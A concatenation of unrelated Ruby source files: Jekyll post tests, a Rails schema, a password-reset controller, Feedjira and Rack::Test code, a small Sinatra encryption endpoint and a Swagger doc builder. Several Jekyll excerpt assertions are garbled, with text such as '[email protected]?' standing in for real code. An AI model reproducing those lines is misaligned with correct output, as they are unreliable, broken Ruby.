context "with unspecified (date) style and a numeric category" do
setup do
@post.categories << 2013
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title.html", @post.template
assert_equal "/2013/2008/09/09/foo-bar.html", @post.url
end
end
context "with specified layout of nil" do
setup do
file = '2013-01-12-nil-layout.textile'
@post = setup_post(file)
@post.process(file)
end
should "layout of nil is respected" do
assert_equal "nil", @post.data["layout"]
end
end
context "with unspecified (date) style and categories" do
setup do
@post.categories << "food"
@post.categories << "beer"
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title.html", @post.template
assert_equal "/food/beer/2008/09/09/foo-bar.html", @post.url
end
end
context "with space (categories)" do
setup do
@post.categories << "French cuisine"
@post.categories << "Belgian beer"
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title.html", @post.template
assert_equal "/French%20cuisine/Belgian%20beer/2008/09/09/foo-bar.html", @post.url
end
end
context "with none style" do
setup do
@post.site.permalink_style = :none
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:title.html", @post.template
assert_equal "/foo-bar.html", @post.url
end
end
context "with pretty style" do
setup do
@post.site.permalink_style = :pretty
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:month/:day/:title/", @post.template
assert_equal "/2008/09/09/foo-bar/", @post.url
end
end
context "with ordinal style" do
setup do
@post.site.permalink_style = :ordinal
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/:categories/:year/:y_day/:title.html", @post.template
assert_equal "/2008/253/foo-bar.html", @post.url
end
end
context "with custom date permalink" do
setup do
@post.site.permalink_style = '/:categories/:year/:i_month/:i_day/:title/'
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/2008/9/9/foo-bar/", @post.url
end
end
context "with custom abbreviated month date permalink" do
setup do
@post.site.permalink_style = '/:categories/:year/:short_month/:day/:title/'
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/2008/Sep/09/foo-bar/", @post.url
end
end
context "with prefix style and no extension" do
setup do
@post.site.permalink_style = "/prefix/:title"
@post.process(@fake_file)
end
should "process the url correctly" do
assert_equal "/prefix/:title", @post.template
assert_equal "/prefix/foo-bar", @post.url
end
end
end
should "read yaml front-matter" do
@post.read_yaml(@source, @real_file)
assert_equal({"title" => "Foo Bar", "layout" => "default"}, @post.data)
assert_equal "h1. {{ page.title }}\n\nBest *post* ever", @post.content
end
should "transform textile" do
@post.process(@real_file)
@post.read_yaml(@source, @real_file)
@post.transform
assert_equal "<h1>{{ page.title }}</h1>\n<p>Best <strong>post</strong> ever</p>", @post.content
end
context "#excerpt" do
setup do
file = "2013-01-02-post-excerpt.markdown"
@post = setup_post(file)
@post.process(file)
@post.read_yaml(@source, file)
do_render(@post)
end
should "return first paragraph by default" do
assert @post.excerpt.include?("First paragraph"), "contains first paragraph"
assert [email protected]?("Second paragraph"), "does not contains second paragraph"
assert [email protected]?("Third paragraph"), "does not contains third paragraph"
end
should "correctly resolve link references" do
assert @post.excerpt.include?("www.jekyllrb.com"), "contains referenced link URL"
end
should "return rendered HTML" do
assert_equal "<p>First paragraph with <a href=\"http://www.jekyllrb.com/\">link ref</a>.</p>\n\n",
@post.excerpt
end
context "with excerpt_separator setting" do
setup do
file = "2013-01-02-post-excerpt.markdown"
@post.site.config['excerpt_separator'] = "\n---\n"
@post.process(file)
@post.read_yaml(@source, file)
@post.transform
end
should "respect given separator" do
assert @post.excerpt.include?("First paragraph"), "contains first paragraph"
assert @post.excerpt.include?("Second paragraph"), "contains second paragraph"
assert [email protected]?("Third paragraph"), "does not contains third paragraph"
end
should "replace separator with new-lines" do
assert [email protected]?("---"), "does not contains separator"
end
end
context "with custom excerpt" do
setup do
file = "2013-04-11-custom-excerpt.markdown"
@post = setup_post(file)
do_render(@post)
end
should "use custom excerpt" do
assert_equal("I can set a custom excerpt", @post.excerpt)
end
should "expose custom excerpt to liquid" do
assert @post.content.include?("I can use the excerpt: <quote>I can set a custom excerpt</quote>"), "Exposes incorrect excerpt to liquid."
end
end
end
end
context "when in a site" do
setup do
clear_dest
stub(Jekyll).configuration { Jekyll::Configuration::DEFAULTS }
@site = Site.new(Jekyll.configuration)
@site.posts = [setup_post('2008-02-02-published.textile'),
setup_post('2009-01-27-categories.textile')]
end
should "have next post" do
assert_equal(@site.posts.last, @site.posts.first.next)
end
should "have previous post" do
assert_equal(@site.posts.first, @site.posts.last.previous)
end
should "not have previous post if first" do
assert_equal(nil, @site.posts.first.previous)
end
should "not have next post if last" do
assert_equal(nil, @site.posts.last.next)
end
end
context "initializing posts" do
should "recognize date in yaml" do
post = setup_post("2010-01-09-date-override.textile")
do_render(post)
assert_equal Time, post.date.class
assert_equal Time, post.to_liquid["date"].class
assert_equal "/2010/01/10/date-override.html", post.url
assert_equal "<p>Post with a front matter date</p>\n<p>10 Jan 2010</p>", post.output
end
should "recognize time in yaml" do
post = setup_post("2010-01-09-time-override.textile")
do_render(post)
assert_equal Time, post.date.class
assert_equal Time, post.to_liquid["date"].class
assert_equal "/2010/01/10/time-override.html", post.url
assert_equal "<p>Post with a front matter time</p>\n<p>10 Jan 2010</p>", post.output
end
should "recognize time with timezone in yaml" do
post = setup_post("2010-01-09-timezone-override.textile")
do_render(post)
assert_equal Time, post.date.class
assert_equal Time, post.to_liquid["date"].class
assert_equal "/2010/01/10/timezone-override.html", post.url
assert_equal "<p>Post with a front matter time with timezone</p>\n<p>10 Jan 2010</p>", post.output
end
should "to_liquid prioritizes post attributes over data" do
post = setup_post("2010-01-16-override-data.textile")
assert_equal Array, post.tags.class
assert_equal Array, post.to_liquid["tags"].class
assert_equal Time, post.date.class
assert_equal Time, post.to_liquid["date"].class
end
should "to_liquid should consider inheritance" do
klass = Class.new(Jekyll::Post)
assert_gets_called = false
klass.send(:define_method, :assert_gets_called) { assert_gets_called = true }
klass.const_set(:EXCERPT_ATTRIBUTES_FOR_LIQUID, Jekyll::Post::EXCERPT_ATTRIBUTES_FOR_LIQUID + ['assert_gets_called'])
post = klass.new(@site, source_dir, '', "2008-02-02-published.textile")
do_render(post)
assert assert_gets_called, 'assert_gets_called did not get called on post.'
end
should "recognize category in yaml" do
post = setup_post("2009-01-27-category.textile")
assert post.categories.include?('foo')
end
should "recognize several categories in yaml" do
post = setup_post("2009-01-27-categories.textile")
assert post.categories.include?('foo')
assert post.categories.include?('bar')
assert post.categories.include?('baz')
end
should "recognize empty category in yaml" do
post = setup_post("2009-01-27-empty-category.textile")
assert_equal [], post.categories
end
should "recognize empty categories in yaml" do
post = setup_post("2009-01-27-empty-categories.textile")
assert_equal [], post.categories
end
should "recognize number category in yaml" do
post = setup_post("2013-05-10-number-category.textile")
assert post.categories.include?('2013')
assert !post.categories.include?(2013)
end
should "recognize tag in yaml" do
post = setup_post("2009-05-18-tag.textile")
assert post.tags.include?('code')
end
should "recognize tags in yaml" do
post = setup_post("2009-05-18-tags.textile")
assert post.tags.include?('food')
assert post.tags.include?('cooking')
assert post.tags.include?('pizza')
end
should "recognize empty tag in yaml" do
post = setup_post("2009-05-18-empty-tag.textile")
assert_equal [], post.tags
end
should "recognize empty tags in yaml" do
post = setup_post("2009-05-18-empty-tags.textile")
assert_equal [], post.tags
end
should "allow no yaml" do
post = setup_post("2009-06-22-no-yaml.textile")
assert_equal "No YAML.", post.content
end
should "allow empty yaml" do
post = setup_post("2009-06-22-empty-yaml.textile")
assert_equal "Empty YAML.", post.content
end
context "rendering" do
setup do
clear_dest
end
should "render properly" do
post = setup_post("2008-10-18-foo-bar.textile")
do_render(post)
assert_equal "<<< <h1>Foo Bar</h1>\n<p>Best <strong>post</strong> ever</p> >>>", post.output
end
should "write properly" do
post = setup_post("2008-10-18-foo-bar.textile")
do_render(post)
post.write(dest_dir)
assert File.directory?(dest_dir)
assert File.exist?(File.join(dest_dir, '2008', '10', '18', 'foo-bar.html'))
end
should "write properly when url has hash" do
post = setup_post("2009-03-12-hash-#1.markdown")
do_render(post)
post.write(dest_dir)
assert File.directory?(dest_dir)
assert File.exist?(File.join(dest_dir, '2009', '03', '12',
'hash-#1.html'))
end
should "write properly when url has space" do
post = setup_post("2014-03-22-escape-+ %20[].markdown")
do_render(post)
post.write(dest_dir)
assert File.directory?(dest_dir)
assert File.exist?(File.join(dest_dir, '2014', '03', '22',
'escape-+ %20[].html'))
end
should "write properly without html extension" do
post = setup_post("2008-10-18-foo-bar.textile")
post.site.permalink_style = ":title"
do_render(post)
post.write(dest_dir)
assert File.directory?(dest_dir)
assert File.exist?(File.join(dest_dir, 'foo-bar', 'index.html'))
end
should "insert data" do
post = setup_post("2008-11-21-complex.textile")
do_render(post)
assert_equal "<<< <p>url: /2008/11/21/complex.html<br />\ndate: #{Time.parse("2008-11-21")}<br />\nid: /2008/11/21/complex</p> >>>", post.output
end
should "include templates" do
post = setup_post("2008-12-13-include.markdown")
post.site.source = File.join(File.dirname(__FILE__), 'source')
do_render(post)
assert_equal "<<< <hr />\n<p>Tom Preston-Werner\ngithub.com/mojombo</p>\n\n<p>This <em>is</em> cool</p>\n >>>", post.output
end
should "render date specified in front matter properly" do
post = setup_post("2010-01-09-date-override.textile")
do_render(post)
assert_equal "<p>Post with a front matter date</p>\n<p>10 Jan 2010</p>", post.output
end
should "render time specified in front matter properly" do
post = setup_post("2010-01-09-time-override.textile")
do_render(post)
assert_equal "<p>Post with a front matter time</p>\n<p>10 Jan 2010</p>", post.output
end
end
end
should "generate categories and topics" do
post = Post.new(@site, File.join(File.dirname(__FILE__), *%w[source]), 'foo', 'bar/2008-12-12-topical-post.textile')
assert_equal ['foo', 'bar'], post.categories
end
end
context "converter file extension settings" do
setup do
stub(Jekyll).configuration { Jekyll::Configuration::DEFAULTS }
@site = Site.new(Jekyll.configuration)
end
should "process .md as markdown under default configuration" do
post = setup_post '2011-04-12-md-extension.md'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Markdown
end
should "process .text as identity under default configuration" do
post = setup_post '2011-04-12-text-extension.text'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Identity
end
should "process .text as markdown under alternate configuration" do
@site.config['markdown_ext'] = 'markdown,mdw,mdwn,md,text'
post = setup_post '2011-04-12-text-extension.text'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Markdown
end
should "process .md as markdown under alternate configuration" do
@site.config['markdown_ext'] = 'markdown,mkd,mkdn,md,text'
post = setup_post '2011-04-12-text-extension.text'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Markdown
end
should "process .mkdn under text if it is not in the markdown config" do
@site.config['markdown_ext'] = 'markdown,mkd,md,text'
post = setup_post '2013-08-01-mkdn-extension.mkdn'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Identity
end
should "process .text as textile under alternate configuration" do
@site.config['textile_ext'] = 'textile,text'
post = setup_post '2011-04-12-text-extension.text'
conv = post.converter
assert conv.kind_of? Jekyll::Converters::Textile
end
end
context "site config with category" do
setup do
config = Jekyll::Configuration::DEFAULTS.merge({
'defaults' => [
'scope' => {
'path' => ''
},
'values' => {
'category' => 'article'
}
]
})
@site = Site.new(config)
end
should "return category if post does not specify category" do
post = setup_post("2009-01-27-no-category.textile")
assert post.categories.include?('article'), "Expected post.categories to include 'article' but did not."
end
should "override site category if set on post" do
post = setup_post("2009-01-27-category.textile")
assert post.categories.include?('foo'), "Expected post.categories to include 'foo' but did not."
assert !post.categories.include?('article'), "Did not expect post.categories to include 'article' but it did."
end
end
context "site config with categories" do
setup do
config = Jekyll::Configuration::DEFAULTS.merge({
'defaults' => [
'scope' => {
'path' => ''
},
'values' => {
'categories' => ['article']
}
]
})
@site = Site.new(config)
end
should "return categories if post does not specify categories" do
post = setup_post("2009-01-27-no-category.textile")
assert post.categories.include?('article'), "Expected post.categories to include 'article' but did not."
end
should "override site categories if set on post" do
post = setup_post("2009-01-27-categories.textile")
['foo', 'bar', 'baz'].each do |category|
assert post.categories.include?(category), "Expected post.categories to include '#{category}' but did not."
end
assert !post.categories.include?('article'), "Did not expect post.categories to include 'article' but it did."
end
end
end
| 33.967655 | 154 | 0.598397 |
8793ac16e505e98aa9e23a4e3352fea8f77dea8f | 1,518 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2018_04_27_235124) do
create_table "candies", force: :cascade do |t|
t.string "name"
t.string "taste"
t.integer "cost"
t.integer "appetite"
t.integer "count"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "purchases", force: :cascade do |t|
t.integer "user_id"
t.integer "candy_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "users", force: :cascade do |t|
t.string "name"
t.string "password_digest"
t.string "taste"
t.boolean "employee", default: false
t.integer "cash"
t.integer "appetite"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
end
| 34.5 | 86 | 0.725296 |
1d6aa094a8d0e202af8e9d972838b0b6aacc00d5 | 95 | require 'spec_helper'
require 'vigilem/dom'
require 'vigilem/win32_api/dom/key_values_tables' | 19 | 49 | 0.821053 |
1cb7a75e0da614f25a9a291d9afa531e4d289f5c | 1,612 | # frozen_string_literal: true
require 'spec_helper'
describe RubyRabbitmqJanus::Models::JanusInstance, type: :model,
name: :janus_instance do
before do
instances
first
end
let(:model) { described_class }
let(:size) { (rand * 5).to_i + 1 }
let(:first) { model.first }
let(:session_id) { first.session_id }
let(:id) { first.id }
context 'when Janus instances are activated.' do
let(:instances) { FactoryBot.create_list(:janus_instance, size, enable: true) }
let(:count_enabled) { size }
let(:count_destroyed) { 0 }
let(:count_disabled) { 0 }
include_examples 'when disable an instance'
include_examples 'when enable an instance not change'
include_examples 'when destroys all disable instance'
include_examples 'when search by instance'
include_examples 'when search by session'
include_examples 'when search instance enabled'
include_examples 'when search instance disabled'
end
context 'when Janus instances are disabled.' do
let(:instances) { FactoryBot.create_list(:janus_instance, size, enable: false) }
let(:count_enabled) { 0 }
let(:count_destroyed) { size }
let(:count_disabled) { size }
include_examples 'when disable an instance not change'
include_examples 'when enable an instance'
include_examples 'when destroys all disable instance'
include_examples 'when search by instance'
include_examples 'when search by session'
include_examples 'when search instance enabled'
include_examples 'when search instance disabled'
end
end
| 33.583333 | 84 | 0.700372 |
79ad53fb07851f515577152ab33735b5892396a6 | 2,367 | class MutateUsersController < ApplicationController
def send_activation
@user = User.find(params[:id])
UserMailer.delay.welcome(@user)
flash[:success] = 'Activation email was sent successfully. You should receive it shortly.'
redirect_to @user
end
def activate
@user = User.find_by(activation_token: params[:id])
if @user.verified?
flash[:success] = 'Account is already verified... Activation not required.'
else
@user.is_verified = true
@user.save
flash[:success] = 'Account was successfully activated!'
end
redirect_to root_path
end
def new_reset
@reset = UserReset.new
end
def create_reset
@reset = UserReset.new(reset_params)
if params[:commit] == 'Reset'
if @reset.valid?
@reset.user.new_reset_token
flash[:success] = 'Reset email was successfully sent. Check your email for further instructions.'
UserMailer.delay.reset_password(@reset.user)
else
@error = true
end
else
@canceled = true
end
end
def new_password
@user = User.find_by(reset_token: params[:id])
respond_to { |f|
f.html {
if reset_expired
redirect_to root_url
else
redirect_to root_url(reset_token: params[:id])
end
}
f.js{
@user.password = ''
}
}
end
def update_password
@user = User.find_by(reset_token: params[:id])
if params[:commit] == 'Update'
if reset_expired
render js: "window.location = '#{root_url}'"
elsif @user.update_attributes(password_params)
@user.nil_reset_token
flash[:success] = 'Password was changed successfully.'
else
@error = true
end
else
@canceled = true
end
end
private
def reset_params
params.require(:user_reset).permit(:email)
end
def password_params
params.require(:user).permit(:password, :password_confirmation)
end
def reset_expired
if @user.nil?
flash[:danger] = 'No user with this reset id was found, create a new reset and try again.'
return true
elsif @user.reset_expire < Time.zone.now
@user.nil_reset_token
flash[:danger] = 'This reset session has expired, create a new reset and try again.'
redirect_to root_url
return true
end
false
end
end
| 23.435644 | 105 | 0.639628 |
18cf56d0e134f3f00ceac2f213da5e5599c9f7d1 | 1,146 | lib = File.expand_path('lib', __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
Gem::Specification.new do |spec|
spec.name = 'challenge'
spec.version = '0.0.0'
spec.authors = ['iagox86']
spec.email = ['[email protected]']
spec.summary = 'A BSidesSF challenge'
spec.description = 'A BSidesSF challenge'
spec.homepage = 'https://github.com/BSidesSF'
spec.files = `git ls-files -z`.split("\x0").reject do |f|
f.match(%r{^(test|spec|features)/})
end
spec.bindir = 'exe'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.add_development_dependency 'bundler', '~> 1.11'
spec.add_development_dependency 'rake', '~> 10.0'
spec.add_development_dependency 'simplecov', '~> 0.14.1'
spec.add_development_dependency 'test-unit', '~> 3.2.8'
spec.add_dependency 'optimist', '~> 3.0.0'
spec.add_dependency 'sinatra', '~> 2.0.5'
spec.add_dependency 'singlogger', '~> 0.0.0'
spec.add_dependency 'thin', '~> 1.7.2'
spec.add_dependency 'sinatra-contrib', '~> 2.0.5'
end
| 34.727273 | 74 | 0.633508 |
389521bf493860b8f8293596c976cbc743d4bd43 | 2,160 | require 'spec_helper'
describe Feedjira::FeedUtilities do
before(:each) do
@klass = Class.new do
include Feedjira::FeedEntryUtilities
end
end
describe 'handling dates' do
it 'should parse an ISO 8601 formatted datetime into Time' do
time = @klass.new.parse_datetime('2008-02-20T8:05:00-010:00')
expect(time.class).to eq Time
expect(time).to eq Time.parse_safely('Wed Feb 20 18:05:00 UTC 2008')
end
it 'should parse a ISO 8601 with milliseconds into Time' do
time = @klass.new.parse_datetime('2013-09-17T08:20:13.931-04:00')
expect(time.class).to eq Time
expect(time).to eq Time.parse_safely('Tue Sep 17 12:20:13 UTC 2013')
end
end
describe 'sanitizing' do
before(:each) do
@feed = Feedjira::Feed.parse(sample_atom_feed)
@entry = @feed.entries.first
end
it "doesn't fail when no elements are defined on includer" do
expect { @klass.new.sanitize! }.to_not raise_error
end
it 'should provide a sanitized title' do
new_title = '<script>this is not safe</script>' + @entry.title
@entry.title = new_title
scrubbed_title = Loofah.scrub_fragment(new_title, :prune).to_s
expect(@entry.title.sanitize).to eq scrubbed_title
end
it 'should sanitize content in place' do
new_content = '<script>' + @entry.content
@entry.content = new_content.dup
scrubbed_content = Loofah.scrub_fragment(new_content, :prune).to_s
expect(@entry.content.sanitize!).to eq scrubbed_content
expect(@entry.content).to eq scrubbed_content
end
it 'should sanitize things in place' do
@entry.title += '<script>'
@entry.author += '<script>'
@entry.content += '<script>'
cleaned_title = Loofah.scrub_fragment(@entry.title, :prune).to_s
cleaned_author = Loofah.scrub_fragment(@entry.author, :prune).to_s
cleaned_content = Loofah.scrub_fragment(@entry.content, :prune).to_s
@entry.sanitize!
expect(@entry.title).to eq cleaned_title
expect(@entry.author).to eq cleaned_author
expect(@entry.content).to eq cleaned_content
end
end
end
| 32.238806 | 74 | 0.675926 |
7a5865dbffa7d2347f7e5b842bd03aa6326fcce6 | 10,692 | require "uri"
require "rack"
require "rack/mock_session"
require "rack/test/cookie_jar"
require "rack/test/mock_digest_request"
require "rack/test/utils"
require "rack/test/methods"
require "rack/test/uploaded_file"
module Rack
module Test
VERSION = "0.6.2"
DEFAULT_HOST = "example.org"
MULTIPART_BOUNDARY = "----------XnJLe9ZIbbGUYtzPQJ16u1"
# The common base class for exceptions raised by Rack::Test
class Error < StandardError; end
# This class represents a series of requests issued to a Rack app, sharing
# a single cookie jar
#
# Rack::Test::Session's methods are most often called through Rack::Test::Methods,
# which will automatically build a session when it's first used.
class Session
extend Forwardable
include Rack::Test::Utils
def_delegators :@rack_mock_session, :clear_cookies, :set_cookie, :last_response, :last_request
# Creates a Rack::Test::Session for a given Rack app or Rack::MockSession.
#
# Note: Generally, you won't need to initialize a Rack::Test::Session directly.
# Instead, you should include Rack::Test::Methods into your testing context.
# (See README.rdoc for an example)
def initialize(mock_session)
@headers = {}
@env = {}
if mock_session.is_a?(MockSession)
@rack_mock_session = mock_session
else
@rack_mock_session = MockSession.new(mock_session)
end
@default_host = @rack_mock_session.default_host
end
# Issue a GET request for the given URI with the given params and Rack
# environment. Stores the issues request object in #last_request and
# the app's response in #last_response. Yield #last_response to a block
# if given.
#
# Example:
# get "/"
def get(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "GET", :params => params))
process_request(uri, env, &block)
end
# Issue a POST request for the given URI. See #get
#
# Example:
# post "/signup", "name" => "Bryan"
def post(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "POST", :params => params))
process_request(uri, env, &block)
end
# Issue a PUT request for the given URI. See #get
#
# Example:
# put "/"
def put(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "PUT", :params => params))
process_request(uri, env, &block)
end
# Issue a PATCH request for the given URI. See #get
#
# Example:
# patch "/"
def patch(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "PATCH", :params => params))
process_request(uri, env, &block)
end
# Issue a DELETE request for the given URI. See #get
#
# Example:
# delete "/"
def delete(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "DELETE", :params => params))
process_request(uri, env, &block)
end
# Issue an OPTIONS request for the given URI. See #get
#
# Example:
# options "/"
def options(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "OPTIONS", :params => params))
process_request(uri, env, &block)
end
# Issue a HEAD request for the given URI. See #get
#
# Example:
# head "/"
def head(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "HEAD", :params => params))
process_request(uri, env, &block)
end
# Issue a LINK request for the given URI. See #get
#
# Example:
# link "/"
def link(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "LINK", :params => params))
process_request(uri, env, &block)
end
# Issue an UNLINK request for the given URI. See #get
#
# Example:
# unlink "/"
def unlink(uri, params = {}, env = {}, &block)
env = env_for(uri, env.merge(:method => "UNLINK", :params => params))
process_request(uri, env, &block)
end
# Issue a request to the Rack app for the given URI and optional Rack
# environment. Stores the issues request object in #last_request and
# the app's response in #last_response. Yield #last_response to a block
# if given.
#
# Example:
# request "/"
def request(uri, env = {}, &block)
env = env_for(uri, env)
process_request(uri, env, &block)
end
# Set a header to be included on all subsequent requests through the
# session. Use a value of nil to remove a previously configured header.
#
# In accordance with the Rack spec, headers will be included in the Rack
# environment hash in HTTP_USER_AGENT form.
#
# Example:
# header "User-Agent", "Firefox"
def header(name, value)
if value.nil?
@headers.delete(name)
else
@headers[name] = value
end
end
# Set an env var to be included on all subsequent requests through the
# session. Use a value of nil to remove a previously configured env.
#
# Example:
# env "rack.session", {:csrf => 'token'}
def env(name, value)
if value.nil?
@env.delete(name)
else
@env[name] = value
end
end
# Set the username and password for HTTP Basic authorization, to be
# included in subsequent requests in the HTTP_AUTHORIZATION header.
#
# Example:
# basic_authorize "bryan", "secret"
def basic_authorize(username, password)
encoded_login = ["#{username}:#{password}"].pack("m*")
header('Authorization', "Basic #{encoded_login}")
end
alias_method :authorize, :basic_authorize
# Set the username and password for HTTP Digest authorization, to be
# included in subsequent requests in the HTTP_AUTHORIZATION header.
#
# Example:
# digest_authorize "bryan", "secret"
def digest_authorize(username, password)
@digest_username = username
@digest_password = password
end
# Rack::Test will not follow any redirects automatically. This method
# will follow the redirect returned (including setting the Referer header
# on the new request) in the last response. If the last response was not
# a redirect, an error will be raised.
def follow_redirect!
unless last_response.redirect?
raise Error.new("Last response was not a redirect. Cannot follow_redirect!")
end
get(last_response["Location"], {}, { "HTTP_REFERER" => last_request.url })
end
private
def env_for(path, env)
uri = URI.parse(path)
uri.path = "/#{uri.path}" unless uri.path[0] == ?/
uri.host ||= @default_host
env = default_env.merge(env)
env["HTTP_HOST"] ||= [uri.host, (uri.port if uri.port != uri.default_port)].compact.join(":")
env.update("HTTPS" => "on") if URI::HTTPS === uri
env["HTTP_X_REQUESTED_WITH"] = "XMLHttpRequest" if env[:xhr]
# TODO: Remove this after Rack 1.1 has been released.
# Stringifying and upcasing methods has be commit upstream
env["REQUEST_METHOD"] ||= env[:method] ? env[:method].to_s.upcase : "GET"
if env["REQUEST_METHOD"] == "GET"
# merge :params with the query string
if params = env[:params]
params = parse_nested_query(params) if params.is_a?(String)
params.update(parse_nested_query(uri.query))
uri.query = build_nested_query(params)
end
elsif !env.has_key?(:input)
env["CONTENT_TYPE"] ||= "application/x-www-form-urlencoded"
if env[:params].is_a?(Hash)
if data = build_multipart(env[:params])
env[:input] = data
env["CONTENT_LENGTH"] ||= data.length.to_s
env["CONTENT_TYPE"] = "multipart/form-data; boundary=#{MULTIPART_BOUNDARY}"
else
env[:input] = params_to_string(env[:params])
end
else
env[:input] = env[:params]
end
end
env.delete(:params)
if env.has_key?(:cookie)
set_cookie(env.delete(:cookie), uri)
end
Rack::MockRequest.env_for(uri.to_s, env)
end
def process_request(uri, env)
uri = URI.parse(uri)
uri.host ||= @default_host
@rack_mock_session.request(uri, env)
if retry_with_digest_auth?(env)
auth_env = env.merge({
"HTTP_AUTHORIZATION" => digest_auth_header,
"rack-test.digest_auth_retry" => true
})
auth_env.delete('rack.request')
process_request(uri.path, auth_env)
else
yield last_response if block_given?
last_response
end
end
def digest_auth_header
challenge = last_response["WWW-Authenticate"].split(" ", 2).last
params = Rack::Auth::Digest::Params.parse(challenge)
params.merge!({
"username" => @digest_username,
"nc" => "00000001",
"cnonce" => "nonsensenonce",
"uri" => last_request.fullpath,
"method" => last_request.env["REQUEST_METHOD"],
})
params["response"] = MockDigestRequest.new(params).response(@digest_password)
"Digest #{params}"
end
def retry_with_digest_auth?(env)
last_response.status == 401 &&
digest_auth_configured? &&
!env["rack-test.digest_auth_retry"]
end
def digest_auth_configured?
@digest_username
end
def default_env
{ "rack.test" => true, "REMOTE_ADDR" => "127.0.0.1" }.merge(@env).merge(headers_for_env)
end
def headers_for_env
converted_headers = {}
@headers.each do |name, value|
env_key = name.upcase.gsub("-", "_")
env_key = "HTTP_" + env_key unless "CONTENT_TYPE" == env_key
converted_headers[env_key] = value
end
converted_headers
end
def params_to_string(params)
case params
when Hash then build_nested_query(params)
when nil then ""
else params
end
end
end
def self.encoding_aware_strings?
defined?(Encoding) && "".respond_to?(:encode)
end
end
end
| 31.727003 | 101 | 0.587449 |
33f8414ae451c44ede189657abb5bf77705ee124 | 276 | # encoding: UTF-8
class Survey < ActiveRecord::Base; end
class UpdateBlankVersionsOnSurveys < ActiveRecord::Migration[4.2]
def self.up
Survey.where('survey_version IS ?', nil).each do |s|
s.survey_version = 0
s.save!
end
end
def self.down
end
end
| 19.714286 | 65 | 0.681159 |
2895c87db16e1a1beadc90d66b15de4106dbcb6f | 404 | cask 'wko' do
version '553'
sha256 '8e462b88c8ed3bb9fee567b9ec42cc8171690265d6e17b51f67df97f34717842'
# wko4.com was verified as official when first introduced to the cask
url "https://updates.wko4.com/TeQ2y43sOpz2/WKO5_OSX_#{version}.dmg"
appcast 'https://updates.wko4.com/TeQ2y43sOpz2/wko5_osx_appcast.xml'
name 'WKO'
homepage 'https://www.trainingpeaks.com/wko5/'
app 'WKO5.app'
end
| 31.076923 | 75 | 0.769802 |
61df06abae35611a0aeddb3b69daeac994a3e215 | 278 | class AccessConfirmationsController < ApplicationController
def index
if user_signed_in?
@user = TwitterDB::User.find_by(screen_name: current_user.screen_name)
@user = TwitterUser.latest_by(screen_name: current_user.screen_name) unless @user
end
end
end
| 30.888889 | 87 | 0.769784 |
ff714e0f13946f6f022faf408ef1403e5e91fade | 382 | require 'sinatra'
require 'tempfile'
class Application < Sinatra::Base
set :app_file, __FILE__
post '/' do
temp = Tempfile.new('userInput')
out = Tempfile.new('output')
temp.write(request.env["rack.input"].read)
temp.close
content_type 'application/octet-stream'
system("./encryptor key #{temp.path} > #{out.path}")
send_file(out.path)
end
end | 22.470588 | 56 | 0.667539 |
acd13c1256a8c54f2c49d139b4aaa6efccacb205 | 1,649 | require 'rspec/autoswagger/doc_part'
module Rspec
module Autoswagger
class DocParts
attr_reader :specification, :info, :paths, :definitions
attr_accessor :output_path
DEFAULT_OUTPUT_PATH = './tmp'
def initialize
@info = Parts::Info.generate_hash
@paths = {}
@definitions = {}
@specification = {}
end
def output_path
@output_path || DEFAULT_OUTPUT_PATH
end
def add(rspec_core_obj, example)
doc_part = DocPart.new(rspec_core_obj, example)
path, param_definitions = doc_part.create_path
method = path.values.first.keys.first
endpoint = path.keys.first
if paths.keys.include?(endpoint)
if paths[endpoint].keys.include?(method)
paths.each do |key, value|
value[method]['responses'].merge!(path.values.first[method]['responses']) if key.to_s == endpoint.to_s
end
else
paths[endpoint].merge!(path.values.first)
end
else
paths.merge!(path)
end
definitions.merge!(doc_part.create_definition(output_path))
definitions.merge!(param_definitions) unless param_definitions.empty?
end
def aggregate
specification.merge!(info)
specification.merge!({ 'paths' => paths })
specification.merge!({ 'definitions' => definitions })
specification
end
def to_yaml
aggregate if specification.empty?
FileUtils::mkdir_p(output_path)
YAML.dump(specification, File.open(output_path + '/swagger.yml', 'w'))
end
end
end
end
| 27.949153 | 116 | 0.616737 |
1dec5955f69204cd2fc25cff881047e505977f89 | 482 | class ApplicationController < ActionController::Base
protect_from_forgery with: :exception
before_action :current_user, except: [:home]
before_action :require_logged_in, except: %i[new create home create_from_oath]
helper_method :current_user
def logged_in?
!!current_user
end
private
def require_logged_in
redirect_to root_path unless logged_in?
end
def current_user
